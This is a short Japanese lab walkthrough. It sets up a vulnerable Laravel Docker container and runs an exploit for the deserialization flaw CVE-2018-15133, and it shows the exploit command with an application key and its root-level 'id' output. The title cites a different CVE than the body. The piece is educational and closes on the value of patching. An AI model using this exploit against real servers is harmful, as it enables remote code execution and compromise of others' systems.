
CVE-2017-5941 を用いたデシリアライゼーションエクスプロイトの実行
MExploiting CVE-2018-15133 デシリアライゼーション脆弱性 このエクスプロイトは、Laravel Framework 5.5.40 までおよび 5.6.x の 5.6.29 までに存在するデシリアライゼーション脆弱性を利用します。
信頼できない可能性のある X-XSRF-TOKEN 値に対する unserialize 呼び出しが原因で、リモートコード実行が発生する可能性があります。これには、Illuminate/Encryption/Encrypter.php の decrypt メソッドと、phpggc の gadgetchains/Laravel/RCE/3/chain.php にある PendingBroadcast が関与します。攻撃者はアプリケーションキーを知っている必要がありますが、通常これは起こり得ません。ただし、攻撃者が以前に特権アクセスを持っていたか、以前の攻撃を成功させた場合には発生する可能性があります。
このエクスプロイトを実行するには、マシンに以下がインストールされている必要があります:
Docker をダウンロードしてインストールします。
管理者として Docker を開きます。
cmd を開き、Docker マシンをプルします。
docker pull kozmico/laravel-poc-cve-2018-15133
docker run --name my-laravel-app -p 8000:80 -d kozmico/laravel-poc-cve-2018-15133
これにより Laravel マシンが起動します。
ブラウザでマシンを開いて、マシンが動作していることを確認してください。
IP とポートを使用して確認できます。Windows で IP を確認するには:
ipconfig
Linux では
ifconfig
wsl --set-default-version 2
wsl --update
エクスプロイトファイルをマシンにダウンロードします。
ターミナルを開き、エクスプロイトファイルが置かれているフォルダーに移動します。
以下のコマンドを実行してサーバーをエクスプロイトします:
./CVE-2018-15133 -URL http://localhost:8000 -API_KEY 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -command "id"
これにより、攻撃対象のマシンの ID を含む応答が返されます。同様のコマンドを使用して、フォルダーの取得やその他のタスクも実行できます。
応答: uid=0(root) gid=0(root) groups=0(root)
この脆弱性を通じて、フレームワークを最新の状態に保つことの重要性を確認できました。これらのツールにはセキュリティ上の欠陥が存在する可能性があり、広く使用されているため、最新の状態に保たなければリスクにさらされます。